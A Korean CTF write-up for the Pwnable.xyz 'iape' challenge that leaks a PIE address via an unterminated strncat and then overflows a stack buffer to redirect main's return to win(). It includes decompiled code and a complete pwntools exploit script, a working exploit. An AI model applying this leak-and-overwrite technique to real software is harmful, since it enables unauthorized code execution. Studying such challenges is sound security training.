tmxklab

[Pwnable.xyz] iape 본문

War Game/Pwnable.xyz

[Pwnable.xyz] iape

tmxk4221 2020. 5. 3. 23:12

1. 문제

nc svc.pwnable.xyz 30014

 

1) 문제 확인

 

2) 함수 확인

 

2-1) main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char s; // [rsp+10h] [rbp-400h]

  setup(argc, argv, envp);
  memset(&s, 0, 1024uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v3 = read_int32();
      if ( v3 != 1 )
        break;
      printf("data: ");
      fgets(&s, 128, stdin);
    }
    if ( v3 <= 1 )
      break;
    if ( v3 == 2 )
    {
      append(&s);
    }
    else if ( v3 == 3 )
    {
      printf("Your message: %s\n", &s);
    }
    else
    {
LABEL_13:
      puts("Invalid");
    }
  }
  if ( v3 )
    goto LABEL_13;
  return 0;
}

- s변수를 0x400(1024)bytes만큼 0으로 세팅

- read_int32()의 반환 값인 v3에 따라 메뉴 1, 2,3실행

- 메뉴 1 : s변수에 128bytes만큼 표준입력을 받음

- 메뉴 2 : s변수에 입력 값을 붙이는 것 같음

- 메뉴 3 : s변수의 값을 출력

 

2-2) append()

char *__fastcall append(char *a1)
{
  char buf; // [rsp+10h] [rbp-20h]
  unsigned int v3; // [rsp+2Ch] [rbp-4h]

  v3 = rand() % 16;
  printf("Give me %d chars: ", v3);
  read(0, &buf, (int)v3);
  return strncat(a1, &buf, (int)v3);
}

- v3에 난수 값과 16을 나눈 나머지 값을 저장

- buf에 v3값 크기만큼 저장한 후 a1에 buf의 값을 붙임

 

2-3) read_int32()

int read_int32()
{
  char s; // [rsp+0h] [rbp-10h]

  memset(&s, 0, 0x10uLL);
  read(0, &s, 0x10uLL);
  return atoi(&s);
}

- s변수를 0x10(16)bytes만큼 0으로 세팅한 후 0x10bytes만큼 입력을 받아서 int형으로 변환 후 반환

 

3) mitigation

이번엔 카나리만 안 걸려있다.

 


 

2. 접근방법

 

1) 디버깅

먼저 카나리가 걸려있지 않으며 메뉴 0을 입력하면 메인함수의 ret로 이동하는 것을 확인할 수 있다.

 

그러면 간단한 방법으로 입력 값을 저장하는 s변수[rbp-0x400]에 더미 값을 채워 ret에 win()의 주소 값을 채우면 될 것 같다.

 

하지만 PIE가 걸려있어 주소 값이 계속 변경되므로 base주소와 offset을 이용하여 win()의 주소를 찾아야 한다.

 

그러기 위해서 릭을 해야하는데 출력할 수 있는 부분이 메뉴3이다.

- 0x7fffffffedae0은 s변수의 주소 값

 

하지만 s변수는 0x0으로 0x400bytes만큼 초기화되어 있으므로 주소 값을 릭할 수 없다.

append함수에서 디버깅한 결과

buf변수에 0x8000bc2가 보임

그리고 해당 주소 값은 append함수로부터 2bytes차이가 난다.

 

append함수는 buf변수에 입력 값을 받고 메인함수의 s변수에 이어붙이는 기능을 수행한다. 하지만 8bytes를 채우면 다음 0x8000bc2주소에 접근할 수 있다.(중간에 널바이트가 없으므로)

 

확인결과)

참고로 입력받을 수 있는 길이는 랜덤이므로 8bytes이상 입력받을 수 있는 경우에 8bytes만큼 채워줘야 한다.

위의 사진은 8bytes꽉 채워서 입력한 결과 저장된 buf변수의 상황이다.

strncat을 수행하고 s변수에 저장된 값에 마지막에 0xbc2가 보인다.

0x8000bc2에서 중간에 널 값이 존재하므로 마지막 0xbc2만 저장됨을 알 수 있다.

그리고 메뉴 3번을 눌러 출력하면

마지막에 이상한 값이 출력되는데 아마 0xbc2인 듯하다.

 

결론)

  • append함수에서 8bytes만 입력하여 append함수의 주소 값을 s변수에 저장

  • 메뉴 3번을 입력하여 append함수 주소 릭

  • append함수의 주소 값에 offset을 빼서 base 주소 값을 알아냄

  • base 주소와 win함수 offset을 더하여 win함수 주소 구하기

  • s변수[rbp-0x400]에 0x400bytes만큼의 더미 값을 넣어 ret주소에 win함수 주소 값 변조

 


 

3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge", aslr=False)
p = remote("svc.pwnable.xyz", 30014)
#gdb.attach(p)
e = ELF("./challenge")

maxlen = 1024 + 8 + 8
count = 0
append_offset = int(hex(0xbc4), 16)
win_offset = int(hex(0xb57), 16)

# 1. find append() address
# 1.1 find  get data len >= 14
while True:
    p.sendafter("> ", "2")
    get = int(p.recv(10)[8:10])
    print("[*] get data size : "+str(get))

    if get == 0:
        continue
    elif get >= 14:
        p.sendafter(": ", "A"*8)
        count += 8
        print("[*] maxlen : "+str(maxlen-count))
        break
    else:
        p.sendafter(": ", "1")
        count += 1
        print("[*] maxlen : "+str(maxlen-count))

# 1.2 leak append() address and find base address
p.sendafter("> ", "3")
append_addr = p.recv(20+count)[-6:]
append_addr += "\x00\x00"
append_addr = u64(append_addr)
append_addr += 2
base_addr = append_addr - int(append_offset)
win_addr = base_addr + win_offset
win_addr_len = len(hex(win_addr))-2
print("[*] append_addr   : "+hex(append_addr))
print("[*] append_offset : "+hex(append_offset))
print("[*] base_addr    : "+hex(base_addr))
print("[*] win_addr     : "+hex(win_addr))
print("[*] win_addr len : "+str(win_addr_len))
print("[*] maxlen       : "+str(maxlen))

p.sendafter("> ", "1")
p.sendafter("data: ", "A"*127)
maxlen -= 127


# 2. Input dummy(1024 + 8 bytes)
while maxlen > 9:
    p.sendafter("> ", "2")
    input_len = int(p.recv(10)[8:10])

    if input_len == 0:
        continue
    elif input_len == 1:
        p.sendafter("chars: ", "\x00")
    elif input_len == 8:
        p.sendafter("chars: ", "A"*8)
        maxlen -= 8
    elif input_len == 9:
        p.sendafter("chars: ", "A"*8+"\x00")
        maxlen -= 8
    elif input_len == 10:
        p.sendafter("chars: ", "A"*8+"\x00")
        maxlen -= 8
    elif input_len == 11:
        p.sendafter("chars: ", "A"*8+"\x00")
        maxlen -= 8
    elif input_len == 12:
        p.sendafter("chars: ", "A"*8+"\x00")
        maxlen -= 8
    elif input_len == 13:
        p.sendafter("chars: ", "A"*8+"\x00")
        maxlen -= 8
    elif input_len == 14:
        p.sendafter("chars: ", "A"*8+"\x00")
        maxlen -= 8
    elif input_len == 15:
        p.sendafter("chars: ", "A"*8+"\x00")
        maxlen -= 8
    else:
        p.sendafter("chars: ", "\x00")
    print("[*] maxlen : "+str(maxlen))

# 2.1 Input 1byte
if maxlen == 9:
    p.sendafter("> ", "2")
    input_len = int(p.recv(10)[8:10])

    while True:
        if input_len == 0:
            continue
        else:
            p.sendafter("chars: ", "A"+"\x00")
            break


# 3. Input win() address
print("[*] win() address : "+hex(win_addr))

while True:
    p.sendafter("> ", "2")
    input_len = int(p.recv(10)[8:10])
    if input_len == 0:
        continue
    elif input_len == 8:
        p.sendafter("chars: ", p64(win_addr))
        break
    else:
        p.sendafter("chars: ", "\x00")


p.sendafter("> ", "0")

p.interactive()

 

2) 공격실행

시간좀 걸리니깐 기달려야 함

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] UAF  (0) 2020.09.09
[Pwnable.xyz] BabyVM  (0) 2020.06.23
[Pwnable.xyz] strcat  (0) 2020.05.03
[Pwnable.xyz] J-U-M-P  (0) 2020.05.03
[Pwnable.xyz] SUS  (0) 2020.04.23
Comments